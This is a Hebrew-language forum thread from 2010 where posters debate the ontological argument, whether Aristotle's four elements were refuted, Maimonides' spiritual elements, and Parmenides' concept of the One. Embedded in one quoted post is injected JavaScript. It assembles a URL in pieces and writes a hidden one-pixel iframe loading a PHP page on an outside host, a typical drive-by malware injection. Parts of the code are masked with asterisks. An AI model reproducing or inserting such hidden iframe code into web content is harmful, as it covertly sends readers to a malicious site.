|
|
| נשלח ב-22/12/2010 07:32 |
 |
| |
אגוסטינוס
תודה על התובנות לגבי מה שקשה לי בהוכחה. עדיין צריך לסדר את הרמות שעליהן אתה מדבר ולראות למה מתייחסת כל אחת. מהו ניתוח לוגי ומהו אנליטי (בעניותי לא הבנתי מה ביניהם, ושמא כוונתך ללוגיקה מודאלית), ומה נותנת לנו האינטואיציה ששוללת את הראיה האונטולוגית. בכל אופן, אני משער שמה שהפריע לי בהוכחה הזו הוא מה שכתבת: החשיבה הפשוטה והפשטנית שוללת את כוח המחשבה לחשוף אמיתות באופן שאינו טעון בירור מול המציאות.
לגבי אריסטו, שלא הופרך, לא הבנתי מדוע לא. אולי לא הסברתי עצמי.
אריסטו העלה טענות רבות שהן מדעיות. לדוגמא, שהכוכבים נעים על גלגלים סביב הארץ שנמצאת במרכז. ועוד דוגמא, שהעולם שלנו עשוי משילובים של ארבעה יסודות (ולא כמאה כמו בטבלת מנדלייב). ועוד שיש הבדל בחלל בין מקום למקום. יש מקום שמתאים לכל יסוד ולכן אליו הוא נמשך.
האם לא הופרכו הטענות שכל מה שאנו מכירים אינו עשוי מארבעה יסודות, ושהאויר והאש והאדמה והמים אינם חומרים ראשוניים שמהם מורכב הכל, אלא הם עצמם מורכבים מיסודות אחרים? כמובן, הפרכה היא תמיד תלויה בתיאוריה מוקדמת. למשל, אם אנו אומרים שהמים אינם ראשוניים אלא מורכבים מאטומים של חמצן ומימן, זה תלוי בכך שנקבל שיש יסודות יותר ראשוניים כאלו. אך האם לא הוכחה הכימיה הזו? (לפחות לא הופרכה) והאם קבלתה אינה מהווה מניה וביה סתירה לכימיה של אריסטו?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
 |
|
|
|
|
| נשלח ב-22/12/2010 07:50 |
|
| |
| מיימוני כתב: |  |
האם לא הופרכו הטענות שכל מה שאנו מכירים אינו עשוי מארבעה יסודות, ושהאויר והאש והאדמה והמים אינם חומרים ראשוניים שמהם מורכב הכל, אלא הם עצמם מורכבים מיסודות אחרים? כמובן, הפרכה היא תמיד תלויה בתיאוריה מוקדמת. למשל, אם אנו אומרים שהמים אינם ראשוניים אלא מורכבים מאטומים של חמצן ומימן, זה תלוי בכך שנקבל שיש יסודות יותר ראשוניים כאלו. אך האם לא הוכחה הכימיה הזו? (לפחות לא הופרכה) והאם קבלתה אינה מהווה מניה וביה סתירה לכימיה של אריסטו?
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
|
|
בוקר טוב מיימוני,
אני לא יכול כרגע להאריך (אגב, אני שותףסוד הישן. משהו הסתבך בחשבון המייל שלי הקודם ופתחתי חדש), ולכן רק בקצרקצרה.
לא יודע לגבי אריסטו, אבל אצלנו (ברמב"ם יסודי התורה ובספרי הקבלה) ארבעת היסודות אינם האש מים רוח ואדמה (ארמ"ע) הגשמיים המוכרים, אלא יסודות רוחניים עגולים (חומר ללא צורה) אשר מהרכבותיהם ביושר (צורה) נמצאים הנמצאים. המים הגשמיים הם הנמצא הקרוב ביותר ליסוד המים (כאילו 99% ממנו מיסוד זה ושאר האחוז הוא משלושת היסודות האחרים וכו').
כל טוב.
|
|
|
|
| נשלח ב-22/12/2010 09:39 |
|
| |
שותף,
אפשר להבין את הבהרתך בשתי צורות (האחת נוחה בסברא והשנייה בלשון):
1. מה שיותר נשמע בסברא: זה אותו דבר כמו האידיאות האפלטוניות, כלומר ההבחנה בין הסוס לסוסיות. אתה מדבר על אידיאת המים ולא על מים קונקרטיים. האידיאה היא הגשמה של תכונה, כלומר מה שבד"כ אנחנו מבינים כתכונה (להיות בצבע חום) אצל אפלטון הוא עצם (=החומיות, או הצבע החום כשלעצמו), כלומר סוג של יש (רוחני, מופשט).
2. מה שיותר נשמע מלשונך: אתה מדבר על יסודות ממש, כלומר מרכיבים חומריים ולא תכונות. אלא שאתה טוען שהמרכיבים הללו לעולם לא מתממשים או מופיעים בעולם באופן טהור לגמרי (100% מים, או אש או עפר), אלא תמיד בתמהילים שונים [לא ברור מדוע? מה מונע מהם מלהופיע באופן טהור לגמרי?]. כאשר אחד מהרכיבים הללו דומיננטי מאד בתוך החומר שבפנינו אנחנו מכנים את ההתממשות על שם המרכיב הדומיננטי (כלומר כשיש בחומר שלפנינו 99% מים אנחנו מכנים זאת מים). מאד מזכיר את פרדוכס הערימה, שחביב עליי טובא.
בכל אופן, אם כוונתך למשמעות השנייה (וכן משמע בלשונך), אז דומני שלא הרווחת מאומה בחילוק שלך. כעת נוכל לדבר על אותם מרכיבים טהורים, שהם אינם מה שאנחנו מכירים כמים או עפר. עדיין, לשיטתך העולם מורכב מהם. אז זה לא שייקספיר אלא בן דודו שגם לו קראו שייקספיר.
על כן (בגלל מה שדונלד דייוידסון מכנה 'עקרון החסד' בפרשנות, כלומר הנחת המשמעות הסבירה ביותר לטענה הנבחנת. ובלשון הישיבות - ומקורו בב"י יו"ד: עדיף לדחוק בלשון מאשר בסברא), אני מניח שכוונתך למשמעות 1. אבל זו לא משמעות לשונך, וצל"ע.
|
|
|
|
|
| נשלח ב-22/12/2010 10:15 |
|
| |
אגוסטינוס-
אם מישהו ראה את אלוהים שע"פ עדותך הוא מושג שמכיל סתירה פנימית - כלומר הוא חווה משהו שמכיל סתירה ומכאן שהוא סכיזופרן.
לגבי ההוכחה האנטולוגית,
להיות קיים זוהי לא תכונה אלא טענה שיכולה לקבל ערך אמת או שקר, כשאומרים "חדקרן קיים" מתכוונים קיים במציאות הפיזית המוכרת לנו, הטענה היא כי במסגרת המודל הפיזי על חוקיו המוכרים לנו מתקיים מבנה מסויים עם תכונות שונות של "חדקרן".
באנלוגיה ניקח את המושג "מספרים מושלמים אי זוגיים" ניתן לדבר על התכונות שלהם כדוגמת "מספר משוכלל אי זוגי קטן ממאה" , אבל הקיום שלהם הוא שאלה פתוחה, המשפט "מספר משוכלל אי זוגי קטן ממאה" הוא לא טענה, אלא משפט ניתן לניסוח ולכן לא ניתן לומר שהוא לא נכון. אם נוסיף את הסמן "קיים" לפני המשפט הזה רק אז הוא יהפוך לטענה שקרית.
|
|
|
|
| נשלח ב-22/12/2010 13:10 |
|
| |
דון
סכיזופרן אינו חווה סתירות אלא אחד שזוכה לחוויות סותרות..
הקיום כשהוא בקיום האם הוא מהותי או משני?
|
|
|
|
| נשלח ב-22/12/2010 20:40 |
|
| |
אפלטון / פרמינדס חלק 2 נחום שטיינברג, 20/12/2010  לחלק הראשון של המאמר הטענה הראשונה להיבחן היא הטענה, שהאחד ישנו. המילה אחד נאמרת כשם עצם וכשם תואר. האחד כשם עצם הוא האחד כשלעצמו. האחד כשם תואר נאמר כדי לתאר אחדות כלשהי. אחדות זו – יש לה צורות רבות: אחדות בתואר משותף; למשל, שני יהודים השייכים לאותה הדת, אחדות בחומר זהה; למשל, השיש של הפסל ושל המטבח שניהם אחד, אחדות של רצף בזמן או במרחב; למשל, שנה אחת או ריבוע אחד שהוא צירוף של ארבעה קוים שוים שביניהם זויות ישרות, אחדות במין; למשל, הסוסים והחמורים שניהם מיני חיות ואחדות בסוג; למשל, כלי המטבח וכלי העבודה של הנגר הם כולם כלים.
האחד בעצם הוא האחד כשלעצמו. הוא גם חסר כל תואר, כי אם מתארים את האחד כשלעצמו באמצעות תואר כלשהו, נוצר איחוד של שני עצמים רוחניים, כלומר נוצר ריבוי המנוגד לעצם ההגדרה של האחד. לאחד כשלעצמו אין שום גוף או צורה שאפשר לייחס לו, כי כל גוף מוגבל על-ידי המשטח. ואת המשטח מגבילים קוים. ואת הקוים מגבילות נקודות. הקו הישר הוא הקו שנקודת האמצע שלו נמצאת במרחק שווה משתי נקודות קצותיו ואילו העיגול הוא הצורה הנוצרת מחיבור נקודות היקף שנמצאות כולן במרחק שווה מנקודת מרכז משותפת. כל צורה מורכבת משילוב כלשהו של קוים ישרים או מעוגלים. כל אלה הם חלקים ולאחד כשלעצמו לא יכולים להיות חלקים, אחרת נוצר ריבוי. האחד כשלעצמו נצחי. הוא לא קיים במרחב או בזמן מגבילים והוא נעלה עליהם. כאשר אנו אומרים על גוף כלשהו, שהוא נמצא בחלל כלשהו, אנו מציינים שני גופים – מקיף ומוקף – הנוגעים אחד בשני בכל נקודות ההשקה של הגוף המוקף. אם האחד כשלעצמו היה נמצא במקום כלשהו, היינו עוסקים בשני דברים ולא בדבר אחד. הדבר הזה נכון גם למקרה שבו האחד כשלעצמו אמור לכאורה להכיל גוף כלשהו אחר וגם למקרה שהאחד כשלעצמו מכיל את עצמו. הטענה האחרונה אף מופרכת יותר מהראשונה. אין דבר שהוא בו זמנית גם פועל וגם נפעל. הפועל תמיד פועל על אחר והנפעל תמיד נפעל על-ידי אחר. נמצא, האחד כשלעצמו המכיל את עצמו הופך לשניים הכרחיים: הפועל והנפעל. טענה זו לא עוסקת, אם-כך, באחד כשלעצמו אלא בשניים כלשהם.
עד עתה פרמנידס הסביר לאריסטו הצעיר את הגדרותיהם של מקום וגוף. מסתבר, שהעיסוק בהגיון מחייב עיסוק בהגדרות. בחינת המושג אחד נעשית אל מול הגדרות של דברים שונים. האחד גם לא נע ולא נח. תנועה היא שינוי ולשינוי יש שני מינים: שינוי של מקום ושינוי של תכונה. אם האחד ישנה את תכונתו האחת הוא יפסיק להיות אחד וזה בלתי אפשרי, שהאחד יהיה לא אחד. לשינוי של מקום יש שני מינים: שינוי של החלל בו הדבר נמצא ושינוי המיקום באותו החלל. כדי לנוע ממקום ישן למקום חדש, האחד צריך להיות במקום כלשהו מלכתחילה, וזה כבר הוכח כלא נכון. חוץ מזה, דבר הנע ממקום חדש למקום ישן צריך להעביר בהדרגה את כל חלקיו מהחלל הקודם אותו הוא תפס לחלל החדש. מה שנע ממקום למקום הוא בעל חלקים. אבל נקבע כבר, שלאחד אין חלקים. כדי לשנות את המיקום באותו המקום מבלי לנוע למקום חדש, דבר חייב לנוע בתנועה סיבובית, כלומר, עליו לשנות את מיקום הנקודות המקיפות את נקודת המרכז מבלי לשנות את מיקום נקודת המרכז עצמה; עליו לנוע סביב עצמו. שוב נמצא, שלאחד יש חלקים, כי התנועה במעגל נעשית מסביב למרכז כלשהו, מרכז השונה מהיקף המעגל. כל מיני התנועה השונים נמנעים לגבי האחד כשלעצמו. עכשיו, כדי שהאחד ינוח ולא ינוע, עליו להימצא באותו המקום כל הזמן. פרמנידס כבר הסביר, שהאחד לא נמצא במקום, לא בתוך אחר ולא בתוך עצמו, כך שאפילו מנוחה במקום נמנעת ממנו.
בזאת פרמנידס ואריסטו הצעיר הסכימו לגבי הגדרות התנועה על חלקיה והמנוחה. עד עתה פרמנידס עסק רק באחד כלפי עצמו. עכשיו הוא מתחיל לדון בתכונות יחסיות בין שני דברים או יותר. התכונה הראשונה שעולה לדיון היא תכונת הזהות. אפשר לדמיין תכונה זו כמעין סרגל מידות שבקצהו האחד הזהות המוחלטת ובקצהו השני השוני המוחלט. שניים אלה, זהות ושוני נאמרים בשני אופנים, האחד ראשי והשני משני: האופן הראשי הוא המאמר המשווה בין שני דברים שונים והמשני הוא המאמר המשווה דבר לעצמו. האחד לא יכול להיות שונה מעצמו או זהה לדבר אחר, כי במקרה כזה האחד לא יהיה אחד, אלא דבר אחר. אין הוא שונה מזולתו משתי סיבות. הראשונה: צריך שיהיה דבר נוסף, כדי שהוא יהיה שונה ממנו. ושוב, אין אנו מדברים על דבר אחד, אלא על שני דברים. השניה: האחד כשלעצמו איננו השוני כשלעצמו וכדי להיות שונה עליו להיות עצם המתואר בתואר השוני. שתי הסיבות האלה לאי היותו שונה מזולתו הן למעשה סיבה אחת. גם אם כל דבר זהה לעצמו, האחד איננו זהה לעצמו. תכונת השוני, כמו גם תכונת הזהות נמצאות שתיהן על אותו סרגל מידות. כאשר אנו אומרים, ששני דברים זהים, אנו מתכוונים לומר, שיש שוויון מוחלט בתכונותיהם השונות של אותם שני דברים. זהות לא מבטלת את היותם שניים. אם זהות ואחדות היו אותה התכונה, שניים שהיו זהים זה לזה, היו הופכים בו ברגע גם לדבר אחד ואחד מהם היה נעלם.
למעשה, מי שטוען, שהאחד זהה לעצמו, מייחס לאחד תכונה מסוימת, תכונת הזהות במקרה זה. גם מי שאומר, שהאחד שונה מזולתו, מייחס לאחד תכונה מסוימת והאחד מפסיק להיות אחד באמת, אלא שניים: הוא עצמו ותכונתו הנוספת. זהות ושוני, כאמור, הם שני הצדדים ההפוכים של אותו סרגל מידות. מידות הביניים של הסרגל הזה נקראות דומה ולא דומה. זהות היא דמיון מוחלט ואילו שונות מוחלטת היא חוסר דמיון מוחלט. זהות בין שני דברים מחייבת את כל חלקיהם להיות זהים זה לזה. דמיון בין שני דברים מחייב את רוב חלקיהם להיות זהים זה לזה. חוסר דמיון בין שני דברים מחייב מיעוט מחלקיהם להיות זהים זה לזה. ואילו שונות מוחלטת בין שני דברים אוסרת ולו על שניים מחלקיהם – אחד מכל אחד מהם – להיות זהים. אם האחד לא ניתן למדידה באמצעות קצוות הסרגל הזה – כי הוא לא זהה, לא לעצמו ולא לזולתו, ולא שונה, לא מעצמו ולא מזולתו – אי אפשר לתאר אותו גם באמצעות מונחי הביניים. לכן פרמנידס מוסיף על הזהות והשוני את העובדה, שהאחד לא דומה ולא לא דומה לא לעצמו ולא לזולתו. בזאת הסתיימה הגדרת הזהות, השוני, הדמיון וחוסר הדמיון.
בדומה לסרגל המידות של הזהות, אפשר לדמיין את השוויון כמעין סרגל מידות שבקצהו האחד השווה ובקצהו השני הלא שווה. ערכי הביניים שבין שני קצוות אלה נקראים גדול ורב ושני הופכיהם: קטן ומועט. האחד כשלעצמו יכול להיות שווה לעצמו או לזולתו, לא שווה לעצמו או לזולתו וגדול או קטן מעצמו או מזולתו. כמובן, אי אפשר להשוות בין האחד לזולתו, כי כל הוספה של דברים אחרים מלבדו תהפוך את הדיבור על האחד כשלעצמו לדיבור על משהו אחר, על השניים או על הרבים. כדי שהאחד יהיה שווה או לא שווה או אפילו גדול או קטן מעצמו, הוא צריך להיות בעל גודל מסוים. כל גודל נמדד ביחידות מידה כלשהן. לכן, כדי שיהיה האחד כזה, עליו להיות בעל שיעורי מידה כלשהן, כלומר להיות בעל חלקים הזהים במספרם לשיעור המידה שלו. אבל האחד כשלעצמו חסר חלקים, כפי שהובן כבר קודם לכן, ומכאן אפשר להבין, שהאחד לא שווה ולא לא שווה, לא קטן ולא גדול לא מזולתו ולא מעצמו.
בלי סרגלי מידות אלה של שוויון וזהות אין קיום לא רק למדעים כולם אלא אף להכרה האמיתית עצמה. למעשה, שני הסרגלים האלה הם סרגל אחד, אלא שבשפה התייחד שימוש שונה לכל אחד. מילת השוויון והגודל התייחדה לשפת המדענים ואילו מילת הזהות והדמיון התייחדה לאמנים ולהדיוטות. השימוש בשיעורי מידה של עומק, אורך ורוחב משמשים לדיבור על המרחב. מלבדו, גם לזמן יש שיעורי מידה שמשמשים לדיבור עליו. הדיבור על הזמן שונה מהדיבור על המרחב ואנחנו משתמשים לגביו במונחים מיוחדים לו. ואכן, בשפה התייחדו מושגים מסוימים המתיחסים לקיום הזמני כמו נעשה והיה, הווה ועשוי ויהיה ויהפוך ויעשה כך וכך. הגדול בזמן מהאחר נקרא זקן ממנו והקטן בזמן מהאחר נקרא צעיר ממנו ושני השווים בזמן נקראים בני אותו הגיל. חוסר האפשרות להשתמש בסרגלי המידות לגבי האחד מוציא אותו לא רק מהמרחב, אלא אף מהזמן. האחד כשלעצמו לא זקן ולא צעיר ובטח לא בעל אותו הגיל לא לעומת זולתו ולא לעומת עצמו.
אולי אריסטו הצעיר מדמיין לעצמו כעת דבר כלשהו נצחי התופס את כל החלל כולו ואת כל הזמן כולו, אבל לא משתנה באף תחום מהשניים. בכל מקרה, פרמנידס מתחיל להסביר לו, שהקיים בזמן משתנה כל הזמן מבלי לשנות תכונות ומרחב. כי הזמן העובר עליו, כלומר הזמן המודד את משך קיומו, משתנה כל רגע. וכך דבר המתקיים בזמן הופך עם כל רגע לזקן יותר מעצמו. וכשהוא הופך לזקן יותר מעצמו, אפשר להגיד, שבעבר הוא היה צעיר יותר ממנו עצמו בגיל הנוכחי. ולא רק זה, אלא שאף עכשיו הוא צעיר יותר מעצמו בגיל שבו יהיה בעתיד. אותו הדבר אפשר להגיד על הזקן. הוא זקן מעצמו כפי שהיה בעבר ובעתיד הוא יהיה זקן יותר מכפי שהוא עכשיו. וכמובן, הגיל שלו הוא אותו הגיל בכל רגע נתון, בין אם בהווה, בעבר או בעתיד. לכן הקיום בזמן מחייב שינוי מתמיד לכל כיוון יחד עם שמירה מתמדת על המצב הנתון. שמירה על המצב פירושה שוויון והשוויון כמו גם השינוי נשללו מהאחד לפני כן. מסתבר, שסרגלי המידות האלה, כלומר הערכים עצמם, קודמים ונעלים על הנתון למדידתם, בין אם הוא נמדד במרחב בלבד, בזמן בלבד או במרחב ובזמן גם יחד.
מתברר, שהזמן חזק מהמרחב ועולה עליו, כי הקיים – יכול שלא לשנות את תכונותיו המרחביות ועדיין הוא ישתנה בתכונותיו הזמניות וילך ויהפך לזקן יותר בכל רגע נתון. מה שאין לו נקודת אחיזה בזמן, כמו האחד, אין לו נקודת אחיזה בקיום ומושגים כמו התהווה או יכלה לא מתארים אותו. אם אין מושגים פשוטים אלה מתיחסים אליו, אין באפשרותו של אדם לאשר את קיומו של האחד במחשבה. אם אי אפשר לתפוס את הדבר במחשבה, אי אפשר באמת להכיר אותו. מה שאין אפשרות להכיר, אפילו אי אפשר לכנות בשם, שלא לדבר על ייחוס תואר כלשהו אליו. אריסטו הצעיר מזדעזע ממסקנה זו ולא מוכן לקבל, שהאחד שישנו – אין לו שם ואי אפשר להכירו. סיבה אחת הגיונית יש לו לאריסטו – מלבד סיבות אחרות מתחומים אחרים – לומר, שהאחד לפחות קיים. האחד כשלעצמו הוא הבסיס לכל הכרה ואפילו לסרגלי המידות הבסיסיים ביותר שפורטו לעיל. ללא האחד אין יחידה וללא יחידה אין ערכים ואין הכרה. עד עתה עיינו פרמנידס ואריסטו הצעיר באחד כשלעצמו כהקדמה לעיון בטענה, שהאחד ישנו. המפלט שך פרמנידס ממסקנות קשות אלה הוא אחר: האחד כשלעצמו איננו טענה. זהו צירוף מילולי, שם. אפשר לומר, שבאופן מובן מאליו, כמעט, לא ניתן לומר דבר על האחד, כי כל טענה עליו תחייב דיבור על יותר מדבר אחד. כל טענה לגבי האחד כלשעצמו תחייב לצרף אליו שמות תואר או שמות עצם או פעלים נוספים.
הטענה הנבדקת, להזכיר, היא הטענה שהאחד ישנו. האחד ישנו – זוהי הנחת יסוד. מהנחה זו אפשר לגזור מסקנות מסוימות ואלה הן: ישות, כמו זהות ושוויון, איננה האחד כשלעצמו. לכן, אם האחד ישנו, קיימת יחד איתו גם הישות כשלעצמה השונה ממנו. אם הישות הייתה זהה לאחד, הטענה, שהאחד ישנו, הייתה הופכת לטענה, שהאחד אחד וזו בפירוש לא הנחת היסוד הנבחנת. האחד שישנו, בשונה מהאחד כשלעצמו, הוא בעל שני חלקים: אחד ויש. שני חלקים אלה, מעבר להיותם מרכיבי הנחת היסוד, הם המרכיבים היחידים של האחד שישנו כצירוף שמני. אם לאחד שישנו יש חלקים, וכל חלק הוא מן הסתם חלקו של שלם כלשהו, האחד שישנו הוא שלם, שלם בעל חלקים. כאשר השניים בחנו את המושג אחד הם דאגו להישאר מפוכחים וממוקדים עליו בלבד ולא התירו לשום מושג להתקיים במקביל, אם אי אפשר היה להסיק אותו מהמושג הנבחן עצמו. באותה הדרך פרמנידס ממשיך עכשיו עם אריסטו הצעיר. לפני שאפשר להסיק מושגים נוספים מהטענה, שהאחד ישנו, חייבים להבין, שהאחד והקיום הם מושגים קיימים מכוח הטענה, שהאחד ישנו. לכן, אם מעיינים בכל אחד מהחלקים של האחד שישנו, חייבים להבין, שהאחד לא עומד לבד וגם היש לא עומד לבדו. כל חלק של האחד שישנו איננו אחד – כמו שהוא איננו סתם כך יש –, אלא הוא חלק אחד שישנו. האחד שישנו, מסתבר, נחלק לחלקים זוגיים שכל אחד מהם נחלק בתורו שוב לחלקים זהים. האחד שישנו מתרבה בכפולות של שתיים עד אינסוף.
ישותו של האחד, כלומר עובדת קיומו, והאחד כשלעצמו הם שני דברים שונים. עובדה זו התבררה כבר בעיון באחד כשלעצמו. למעשה, כל דבר שונה מעובדת קיומו, לבד מהקיום עצמו, לכן תואר הקיום הוא תואר נספח לכל הדברים שישנם. מסיבה זו פרמנידס יכול היה לדבר על האחד כשלעצמו במנותק מקיומו. יחד עם מושג השוני פרמנידס ואריסטו הצעיר מעיינים בשלושה מושגים נבדלים. מתוך שלושה אלה אפשר תמיד לבודד זוג כלשהו, זוג שיעמוד לעצמו במוקד העניין. לעומת כל זוג שנבחר יהיה עוד מושג בודד. כך נוצרים בעצם שלושת המספרים הראשונים, האחד השניים והשלושה. משלושת המספרים האלה אפשר להגיע לכל מספר שלם וחיובי באמצעות פעולות חיבור וכפל. כל המספרים כולם הם נגזרת של האחד שישנו ויחד עם המספרים כולם נגזר גם הריבוי האינסופי. אם כל המספרים האלה כולם קיימים, נמצא הקיום גזור לחתיכות רבות מהחתיכה הקטנה ביותר לחתיכה הגדולה ביותר ואין סוף למספר חתיכות הקיום כולו. אלו הם הדברים הנגזרים מהאחד כתואר מספרי. ולא רק הקיום עצמו מחולק לאינספור חלקים. כל חלק כזה בפני עצמו הוא חלק אחד של הקיום. ובהיותו חלק אחד הוא בלתי נפרד מהאחד כשלעצמו. נמצא, שהאחד מחולק למספר חלקים שווה לחלקי הקיום, כלומר למספר בלתי מוגבל של חלקים בודדים וקיימים.
כיצד זה אפשרי, שדבר מסוים יהיה השלם גם וחלק מאותו השלם בו זמנית? בעצמים הגופניים מצב כזה הוא בלתי אפשרי. אבל אפשר לחשוב על מצב יחסים כזה, למשל, המתקיים בין הסוג למיניו. הסוג כולל את כל פרטיו ומאגד אותם במעין אחדות לוגית מיוחדת. המינים השונים הכלולים תחת הסוג האחד הם חלקיו הרבים של אותו אחד. וגם המין הוא אחד בפני עצמו, כל מין שונה מהמין השותף לו לאותו הסוג. אפשר לומר, שהאחד שבסוג מגביל ומקיף את מיניו השונים, כלומר את האחד שבמין. אפשר לקחת בתור דוגמא את הקיום עצמו. האחד שישנו הוא אחדות הקיום, אחדות כל הדברים הקיימים כולם. לכן כל דבר קיים הוא מין ממיני הקיום. ישנם הדברים הקיימים קיום זמני ולעומתם אחרים הקיימים קיום נצחי ועוד. האחד בסוג במקרה הזה הוא הקיום כשלעצמו והאחד במין הוא הדבר הקיים. הקיום נמצא גם בשלם וגם בחלקו של השלם. האחד כמספר, סוג ומין הוא גם אחד וגם מרובה, גם שלם וגם חלק, גם מוגבל וגם בלתי מוגבל. אם האחד כשלעצמו לא היה יכול להיפרד ולהתחלק, לא היה קיים דבר מלבדו והטענה, שהכל אחד, הייתה הדבר היחיד שהיינו יכולים להגיד מעבר לציון שמו של האחד.
מוגבל הוא כל דבר, שיש לו גבול או קצה. שלם הוא כל דבר, שיש לו את שלושת החלקים הבאים: התחלה, סוף ואמצע. מה שיש לו התחלה, אמצע וסוף הוא בעל צורה מסוימת. אם שלושת חלקים אלה נמצאים בדבר מסוים ואף אחד מהם לא חסר בו, אז אפשר לומר עליו, שהוא שלם. כל שלם מובחן בשלמותו זו מזולתו, כלומר מחלקיו. כל שלם עומד בפני עצמו, לעצמו, בתוך עצמו בנבדל מזולתו. לכן, בהיותו שלם, האחד שישנו אף הוא נמצא בתוך עצמו ולא בתוך זולתו. אולם יש הבדל בין שלם לבין חלקו והחלק לא יכול להיות אף השלם שהוא חלקו. האחד שישנו השלם לא נמצא באף חלק של עצמו כאחד שלם, לא בחלק אחד, לא במספר חלקים ואף לא בכל חלקיו. האחד שישנו, בהיותו סך כל חלקיו, נמצא בתוך משהו אחר. זהו המקור לפתגם המשומש, שהשלם גדול מסך חלקיו. האחד שישנו נמצא לאמיתו של דבר כשלם בתוך זולתו, כי כל דבר הופך לשלם, רק אם הוא השיג את תכליתו וזו תמיד נמצאת מחוצה לו. לעומת התכלית, מהותו של דבר היא הגבול המיוחד לו עצמו ולא לשום דבר חוץ ממנו ולכן האחד שישנו כמהות מסוימת נמצא בו עצמו. האחד שישנו נמצא בתוך עצמו כמהות עצמאית והוא נמצא בתוך זולתו, אם זולת זה היא תכליתו. בחלק זה פרמנידס ואריסטו הצעיר עברו על הגדרות הגבול והקצה, השלם, המהות והתכלית. מבחינת סך חלקיו האחד שישנו שלם לעצמו. אבל מבחינת השגת שלמותו, האחד שישנו הופך להיות שלם באמת, רק לאחר שהשיג את תכליתו והיא זולתו. דבר מסוים נשאר תמיד אותו הדבר במהותו, לכן אפשר לומר עליו, שהוא נמצא תמיד במנוחה. אבל את שלמותו הסופית הדבר משיג, לאחר שהשלים את תכליתו, ועד שעשה זאת, הדבר נמצא בתנועה. האחד שישנו נמצא תמיד במנוחה בהיותו במהותו האחד שישנו ותמיד בתנועה להשיג את תכליתו, כלומר להיות האחד כשלעצמו. ברגע שדבר כלשהו משיג את תכליתו, הוא הופך להיות אותו דבר באמת. עד אז אותו הדבר היה תמיד חסר מבחינת מה. אריסטו קרא לדבר החסר דבר בכוח ולדבר השלם דבר בפועל.
יחסים בין שני דברים יכולים להיות שלושה: השניים יכולים להיות דברים שלמים וכאשר משווים ביניהם, הם יכולים להיות זהים זה לזה או שונים זה מזה, תלוי במספר החלקים הזהים של שניהם. השניים יכולים להיות שלם וחלקו ובמקרה כזה מדברים על יחסי חלק-שלם ולא על יחסי זהות ושוני. עכשיו, כל דבר זהה לעצמו יותר מלכל דבר אחר. כך גם האחד שישנו. כזכור, האחד כשלעצמו לא היה זהה לעצמו ולכן ברור לנו, שפרמנידס מדבר עכשיו על האחד שבתואר ולא על האחד שבעצם. אולם מבחינה אחרת, בחינה חשובה ביותר, נמצא, שהאחד שישנו נע כל הזמן לעבר תכליתו. מה שמשתנה כל הזמן לא יכול להיות זהה לעצמו, כי בשום זמן אין הוא זהה למה שהיה או למה שיהיה. נמצא, האחד שישנו זהה לעצמו ושונה מעצמו. זהות ושוני הם שני תארים מנוגדים. מה שזהה אינו שונה, בגלל שמה שיש בו זהות אין בו שוני, ואותו הדבר נכון לגבי התואר המנוגד, השוני. כל דבר, גם האחד שישנו וגם הדברים זולתו – שאף הם ישנם – זהים לעצמם. כלומר, בכל דבר קיים יש זהות ולכן השוני לא יכול להיות בו. האחד וזולתו זהים זה לזה מבחינה זו. לעומת זאת, כל דבר המשתתף בצורה כלשהי באחד יש בו מן האחד ולו במידה קטנה. אבל מה שזולת לאחד, כלומר לא משתתף באחד בשום מידה ואופן, איננו אחד אף לא במידה מעטה. אין בו דמיון ולו במידה המעטה ביותר לאחד. אם אין בין האחד לזולתו יחסים של חלק ושלם, אפשר לומר על האחד וזולתו, שאין ביניהם דמיון בשום מידה, שהם שונים זה מזה.
|
|
|
|
|
| נשלח ב-22/12/2010 23:02 |
|
| |
| mdabraham כתב: | | שותף,
2. מה שיותר נשמע מלשונך: אתה מדבר על יסודות ממש, כלומר מרכיבים חומריים ולא תכונות. אלא שאתה טוען שהמרכיבים הללו לעולם לא מתממשים או מופיעים בעולם באופן טהור לגמרי (100% מים, או אש או עפר), אלא תמיד בתמהילים שונים [לא ברור מדוע? מה מונע מהם מלהופיע באופן טהור לגמרי?]. כאשר אחד מהרכיבים הללו דומיננטי מאד בתוך החומר שבפנינו אנחנו מכנים את ההתממשות על שם המרכיב הדומיננטי (כלומר כשיש בחומר שלפנינו 99% מים אנחנו מכנים זאת מים). מאד מזכיר את פרדוכס הערימה, שחביב עליי טובא.
אני אכן מתכוון ללשוני (למרות שיש סברות טובות יותר).
היסודות העגולים (רמב"ם יסוה"ת פ"ג פ"ד) הם חומר היולי בלא צורה. יש ארבעה חומרים כאלה (ארמ"ע) והם מתוארים כעגולים בגלל אחדותם ואדישותם לפרטים השונים שמשתמשים בהם להרכבותיהם. אם היינו לוקחים "משקפת מים" (למשל), שקולטת רק את יסוד המים שבעולם, היינו רואים את כל החלל כמלא במים בלבד. וכן לגבי יסוד האש, הרוח והעפר.
צורה נדרשת כאשר יש צירוף של מספר יסודות למבנה אחד, כי היא מכילה את פרטי ההרכבה שלהם. צורה כזאת מאפשרת גם גילוי ומגע עם שאר הצורות שבעולם, ולכן היא הופכת את המורכב לנתפס ונמדד ומתגלה. בזה יובן למה אין גילוי ל 100% אש (למשל)- כי אין לאש היסודית שום צורך בצורה שהרי איננה מורכבת.
ידידו של ידידי הוא ידידי. אם יש לך פרדוכס חביב הוא בודאי יתחבב גם עלי.
בכל אופן, אם כוונתך למשמעות השנייה (וכן משמע בלשונך), אז דומני שלא הרווחת מאומה בחילוק שלך. כעת נוכל לדבר על אותם מרכיבים טהורים, שהם אינם מה שאנחנו מכירים כמים או עפר. עדיין, לשיטתך העולם מורכב מהם. אז זה לא שייקספיר אלא בן דודו שגם לו קראו שייקספיר.
מטרתי היתה לענות לטענת מיימוני שכבר פרקנו את כל הפרטים שבעולם ולא מצאנו את ארבעת היסודות האלה, וממילא הופרך אריסטו (אני לא מייצג את אריסטו כי אינני מכירו, אני משתדל להבין את הדברים שנכתבו ברמב"ם ובספרי הקבלה). על זה עניתי שהיסודות המדוברים הם לא ממין הדברים שנוכל להשיג בחושינו המודדים (כי הם חומר בלא צורה כנ"ל ואנחנו מודדים רק חומר עם צורה). כך שבן דודו של שייקספיר במקרה זה הוא "חלום" פורח.
|
|
|
|
|
|
|
| נשלח ב-22/12/2010 23:11 |
|
| |
שותף,
